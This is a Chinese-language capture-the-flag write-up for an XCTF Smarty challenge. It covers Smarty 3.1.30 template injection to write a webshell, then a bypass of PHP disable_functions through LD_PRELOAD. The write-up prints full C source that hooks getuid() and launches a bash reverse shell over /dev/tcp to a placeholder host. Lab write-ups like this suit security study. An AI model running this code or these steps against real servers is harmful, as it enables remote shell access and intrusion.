首页 > 其他分享 >xctf smarty 利用 LD_PRELOAD 环境变量绕过disable_functions

xctf smarty 利用 LD_PRELOAD 环境变量绕过disable_functions

时间:2024-07-04 23:33:09浏览次数:1  
标签:PRELOAD LD functions smarty disable 绕过

进来看页面一眼看出为smarty注入,尝试查看smarty版本再进行下一步操作。

可以看到是3.1.30那么就可以利用if标签来进行注入。利用file_put_contents上传木马。

接下来蚁剑访问,发现没有权限,想到可能需要绕过disable_functions,而绕过disable_functions就那么几种,尝试利用LD_PRELOAD劫持看看,再虚拟机编写c文件编译so文件进行上传。不懂的可以看看 https://blog.csdn.net/qq_63701832/article/details/129760495

1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
 
uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

新建一个php文件再html目录中,写入一句话。

访问1.php,再服务器上进行监听。

可以看到已经成功,直接到根目录拿flag.

总结:

  1. 对应版本的smarty注入

  2. 利用 LD_PRELOAD 环境变量绕过disable_functions

标签:PRELOAD,LD,functions,smarty,disable,绕过
From: https://www.cnblogs.com/jocker-love-you/p/18284887

相关文章

  • 怎么配置electron-builder
    electron-builder是一个用于Electron应用程序打包和发布的工具,它支持macOS、Windows和Linux平台。以下是一个清晰且详细的electron-builder配置指南,包括分点表示和归纳,并参考了相关文章中的信息。一、安装electron-builder首先,你需要在你的Electron项目中安装......
  • COLD冷融合:不确定性感知多模态情绪识别的校准和顺序潜在分布融合
    论文标题:COLDFusion:CalibratedandOrdinalLatentDistributionFusionforUncertainty-AwareMultimodalEmotionRecognition中文译名:不确定性感知多模态情绪识别的校准和顺序潜在分布融合原文地址:https://ieeexplore.ieee.org/abstract/document/10287630/背景:深......
  • 微调qwen-VL报错ValueError: Unrecognized configuration class<xxx>to build an AutoTo
    问题在微调qwen-vl的时候,微调完成之后,模型也保存好了,但是用保存的模型进行推理的时候报错,看样子是找不到分词器tokenizer。报错信息ValueError:Unrecognizedconfigurationclass<class‘transformers_modules.configuration_qwen.QWenConfig’>tobuildanAutoTok......
  • 基于STM32单片机的智能垃圾桶控制系统 语音识别 LD3322 垃圾分类 红外感应 超声波满溢
        随着社会科学技术的飞速发展,人们的生活质量和速度也在不断提高。大多数传统的家用垃圾桶已经过时且缺乏新颖性,并且缺乏人性化设计。使用起来既不方便也不卫生,并且所有的生活垃圾和废物垃圾都被均匀地装载,没有经过仔细的分类。随之而来的是,清洁工的任务量正以几何速......
  • 基于STM32单片机的智能垃圾桶控制系统 语音识别LD3322 垃圾分类 火灾检测 金属检测 成
        随着社会科学技术的飞速发展,人们的生活质量和速度也在不断提高。大多数传统的家用垃圾桶已经过时且缺乏新颖性,并且缺乏人性化设计。使用起来既不方便也不卫生,并且所有的生活垃圾和废物垃圾都被均匀地装载,没有经过仔细的分类。随之而来的是,清洁工的任务量正以几何速......
  • 探案:其它配置|参数无错,罪魁祸首是它----使用lombok包Builder注解引起MyBatisSystemExce
    案件回顾:场景:实现某查询功能。详情具体如下:注意⚠️⚠️org.mybatis.spring.MyBatisSystemException:nestedexceptionisorg.apache.ibatis.executor.result.ResultMapException:Errorattemptingtogetcolumn'xxx'fromresultset.Cause:java.lang.NumberFormatExcept......
  • 《Single Image Deblurring Using Motion Density Functions》
    这篇论文《SingleImageDeblurringUsingMotionDensityFunctions》由AnkitGupta、NeelJoshi、C.LawrenceZitnick、MichaelCohen和BrianCurless合作完成,主要研究了一种新颖的单图像去模糊技术,用于估计由相机抖动引起的空间变化模糊。下面是对论文内容的解读:摘要......
  • In what kind of situations that no pull would be configured as a input gpio
    InthecontextofGPIOconfiguration,thechoicebetweenusingapull-up,pull-down,ornopullresistordependsonthespecificrequirementsoftheapplicationandtheexternalcircuitryconnectedtotheGPIOpin.NoPullConfigurationWhenGPIO_InitStru......
  • Acore-world数据库之各类loot-template表全面解释
    前言Acore-world数据库涉及到掉落(不含扒窃)的表一共有11个,分别是:序号表名说明1creature_loot_template生物掉落表,其entry值对应creature_template表的和lootid值2disenchant_loot_template附魔分解掉落表,其entry值对应item_template表的DisenchantID值3fish......
  • helloworld - 程序员的第一个社区终于来了
    helloworld-程序员的第一个社区终于来了csdn事件CSDN旗下的GitCode最近因为一种极其不道德的行为引起了开发者的广泛愤怒和抗议。CSDN在没有通知或征求开发者同意的情况下,悄悄地将大量GitHub上的开源项目搬运到了其自己的GitCode平台上,并为这些项目的开发者创建了开发者主页......